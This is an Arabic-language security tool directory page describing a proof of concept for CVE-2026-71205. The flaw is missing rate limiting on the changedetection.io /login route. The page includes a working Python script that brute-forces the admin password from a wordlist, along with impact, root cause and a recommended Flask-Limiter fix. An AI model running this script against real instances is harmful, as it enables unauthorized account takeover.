Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-71205-PoC — PoC: هجوم قوة غاشمة غير محدود على تسجيل الدخول في changedetection.io، دون أي تحديد لمعدل المحاولات (CVE-2026-71205، متوسط 6.5) | Kitploit
أدوات/GitHubGitHub/nel-droid/cve-2026-71205-poc
هجمات كلمات المرورتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالمصادقة
GitHubnel-droid/cve-2026-71205-poc

CVE-2026-71205-PoC

PoC: هجوم قوة غاشمة غير محدود على تسجيل الدخول في changedetection.io، دون أي تحديد لمعدل المحاولات (CVE-2026-71205، متوسط 6.5)

عرض المستودع
6منذ 24 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-71205 — changedetection.io: عدم تحديد معدل الطلبات على /login يتيح هجمات تخمين كلمات المرور غير المحدودة

المنتج: dgtlmoon/changedetection.io — v0.55.7 الملف: changedetectionio/flask_app.py CWE: CWE-307 — التقييد غير السليم لمحاولات المصادقة المفرطة CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N — 6.5 (متوسط) CNA: Turan Security · سجل CVE

الوصف

يقوم مسار /login في changedetection.io بالتحقق من كلمة المرور المُرسلة مقابل تجزئة PBKDF2-HMAC-SHA256 واحدة دون أي تحديد لمعدل الطلبات لكل عنوان IP أو لكل جلسة، أو عدّاد للمحاولات الفاشلة، أو قفل للحساب. لا توجد أي مكتبة لتحديد معدل الطلبات في requirements.txt.

التأثير

يمكن للمهاجم محاولة تخمين كلمات مرور غير محدودة ضد تسجيل دخول المسؤول الوحيد دون أي تقييد، مما يتيح هجمات القوة الغاشمة عبر الإنترنت أو هجمات حشو بيانات الاعتماد ضد الحساب الوحيد للمثيل دون أي تكلفة تتجاوز جولات الاتصال بالشبكة.

إعادة الإنتاج (PoC)

root@kitploit:~
import requests
import itertools
import sys

target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
wordlist = sys.argv[2] if len(sys.argv) > 2 else "passwords.txt"

session = requests.Session()

with open(wordlist) as f:
    for line_no, password in enumerate(f, 1):
        password = password.strip()
        resp = session.post(
            f"{target}/login",
            data={"password": password},
            allow_redirects=False,
            timeout=10,
        )
        # No lockout, no rate-limit headers, no CAPTCHA at any attempt count.
        status = "SUCCESS" if resp.status_code in (302, 303) else "fail"
        print(f"[{line_no}] {password!r}: {status} (HTTP {resp.status_code})")
        if status == "SUCCESS":
            print(f"[+] Valid password found: {password}")
            break

شغّله ضد أي مثيل مع أي قائمة كلمات مرور — لا يؤدي أي عدد من المحاولات إلى تفعيل قفل، أو CAPTCHA، أو تأخير متزايد في أي نقطة من التشغيل.

السبب الجذري

يقوم معالج تسجيل الدخول بمقارنة تجزئة مباشرة دون أي حالة لتتبّع المحاولات (لكل عنوان IP أو لكل جلسة أو بشكل عام) ودون تثبيت أي برمجية وسيطة أو مكتبة لتحديد معدل الطلبات.

التوصية بالإصلاح

أضف مكتبة لتحديد معدل الطلبات (مثل Flask-Limiter) إلى /login، مع عدّاد للمحاولات الفاشلة وتراجع أسي أو قفل مؤقت لكل عنوان IP/جلسة مصدر.

تنزيل الأداة